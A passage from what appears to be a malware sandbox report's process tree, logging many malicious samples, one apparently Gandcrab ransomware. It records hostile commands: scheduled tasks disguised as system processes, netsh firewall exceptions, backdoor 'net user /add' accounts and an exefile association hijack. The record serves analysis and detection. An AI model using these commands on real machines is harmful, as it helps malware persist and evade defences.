        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
        5⤵
        
        PID:6148
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
        5⤵
        
        PID:5532
    - - C:\Windows\SYSTEM32\CMD.exe
        
        "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
        5⤵
        
        PID:7096
  - - C:\Program Files (x86)\Darkest Dungeon setub.exe
      "C:\Program Files (x86)\Darkest Dungeon setub.exe"
      4⤵
      PID:1656
    - - C:\Users\Admin\AppData\Roaming\svhost.exe
        
        "C:\Users\Admin\AppData\Roaming\svhost.exe"
        5⤵
        
        PID:1052
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:5472
  - - C:\Program Files (x86)\evil.exe
      "C:\Program Files (x86)\evil.exe"
      4⤵
      PID:4260
    - - C:\Users\Admin\AppData\Local\Temp\evil.exe
        
        "C:\Users\Admin\AppData\Local\Temp\evil.exe"
        5⤵
        
        PID:4820
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
        6⤵
        Modifies Windows Firewall
        
        PID:4076
  - - C:\Program Files (x86)\fwclt.exe
      "C:\Program Files (x86)\fwclt.exe"
      4⤵
      PID:4556
  - - C:\Program Files (x86)\Gandcrab5.0.3.exe
      "C:\Program Files (x86)\Gandcrab5.0.3.exe"
      4⤵
      PID:1408
    - - C:\Windows\SysWOW64\wermgr.exe
        
        "C:\Windows\System32\wermgr.exe"
        5⤵
        
        PID:3920
      - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe" C:\Windows\system32\wbem\wmic.exe
        6⤵
        
        PID:6472
  - - C:\Program Files (x86)\Happy18.exe
      "C:\Program Files (x86)\Happy18.exe"
      4⤵
      PID:1928
  - - C:\Program Files (x86)\kosomk.exe
      "C:\Program Files (x86)\kosomk.exe"
      4⤵
      PID:5180
    - - C:\Users\Admin\AppData\Roaming\dicsord.exe
        
        "C:\Users\Admin\AppData\Roaming\dicsord.exe"
        5⤵
        
        PID:1456
  - - C:\Program Files (x86)\LightNeuronX0.exe
      "C:\Program Files (x86)\LightNeuronX0.exe"
      4⤵
      PID:5248
  - - C:\Program Files (x86)\malecus.exe
      "C:\Program Files (x86)\malecus.exe"
      4⤵
      PID:5464
  - - C:\Program Files (x86)\see7.exe
      "C:\Program Files (x86)\see7.exe"
      4⤵
      PID:5664
  - - C:\Program Files (x86)\TEST.exe
      "C:\Program Files (x86)\TEST.exe"
      4⤵
      PID:5868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
      4⤵
      PID:5984
    - - C:\Windows\SysWOW64\net.exe
        
        net user Shanghai /add
        5⤵
        
        PID:4376
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Shanghai /add
        6⤵
        
        PID:5596
    - - C:\Windows\SysWOW64\net.exe
        
        net user Bad Apple /add
        5⤵
        
        PID:5596
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user Bad Apple /add
        6⤵
        
        PID:3528
  - - C:\Program Files (x86)\vbc.exe
      "C:\Program Files (x86)\vbc.exe"
      4⤵
      PID:6108
    - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        5⤵
        
        PID:516
      - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
        
        C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
        6⤵
        
        PID:4272
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 516 -s 612
        6⤵
        Program crash
        
        PID:5812
  - - C:\Program Files (x86)\virus.jk.exe
      "C:\Program Files (x86)\virus.jk.exe"
      4⤵
      PID:228
    - - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe"
        5⤵
        
        PID:5584
      - C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        6⤵
        
        PID:5760
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        7⤵
        
        PID:5724
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        7⤵
        
        PID:5576
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.exe %1
        6⤵
        
        PID:5040
      - C:\J-V-C.EXE
        
        C:\J-V-C.EXE
        6⤵
        
        PID:5440

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4520

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Mail\クラック.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラック" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\クラック.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Mail\クラック.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Media Player\Visualizations\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\Visualizations\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Media Player\Visualizations\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 8 /tr "'C:\Windows\InputMethod\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:624

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:4224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7ffe67c346f8,0x7ffe67c34708,0x7ffe67c34718
    3⤵
    PID:5152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,14130848888797632210,12834959209987278176,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2144 /prefetch:2
    3⤵
    PID:5904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,14130848888797632210,12834959209987278176,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 /prefetch:3
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,14130848888797632210,12834959209987278176,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2892 /prefetch:8
    3⤵
    PID:6060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14130848888797632210,12834959209987278176,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
    3⤵
    PID:1472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14130848888797632210,12834959209987278176,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
    3⤵
    PID:4608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2132,14130848888797632210,12834959209987278176,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5768 /prefetch:1
    3⤵
    PID:4476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae" /sc ONLOGON /tr "'C:\Windows\InputMethod\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae7" /sc MINUTE /mo 9 /tr "'C:\Windows\InputMethod\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3976

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b653" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\chrome.exe'" /f
1⤵
- Process spawned unexpected child process
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office 15\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Program Files\Microsoft Office 15\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\services.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5344

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5732

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "HelpPaneH" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\HelpPane.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Windows Mail\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 516 -ip 516
1⤵
PID:4160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Darkest Dungeon setubD" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Templates\Darkest Dungeon setub.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "HelpPane" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\HelpPane.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Java\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "HelpPaneH" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\HelpPane.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Darkest Dungeon setub" /sc ONLOGON /tr "'C:\Users\Admin\Templates\Darkest Dungeon setub.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Java\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Program Files\Java\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Darkest Dungeon setubD" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Templates\Darkest Dungeon setub.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2836

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Users\Public\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad472193" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5428

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4b0 0x31c
1⤵
PID:2544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Public\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:6088

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\chrome.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5340

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Users\Public\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chromec" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\chrome.exe'" /f
1⤵
- Process spawned unexpected child process
PID:6188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Portable Devices\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "chrome" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\chrome.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:5280

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6460

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\Users\Default\My Documents\System.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 6 /tr "'C:\Users\Default\My Documents\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラックク" /sc MINUTE /mo 14 /tr "'C:\Program Files\Google\クラック.exe'" /f
1⤵
- Process spawned unexpected child process
PID:7160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Users\Default\My Documents\sysmon.exe'" /rl HIGHEST /f
1⤵
PID:1952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Default\My Documents\System.exe'" /rl HIGHEST /f
1⤵
PID:6204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Portable Devices\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "クラック" /sc ONLOGON /tr "'C:\Program Files\Google\クラック.exe'" /rl HIGHEST /f
1⤵
- Scheduled Task/Job: Scheduled Task
PID:6612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 14 /tr "'C:\Users\Default\My Documents\sysmon.exe'" /rl HIGHEST /f
1⤵
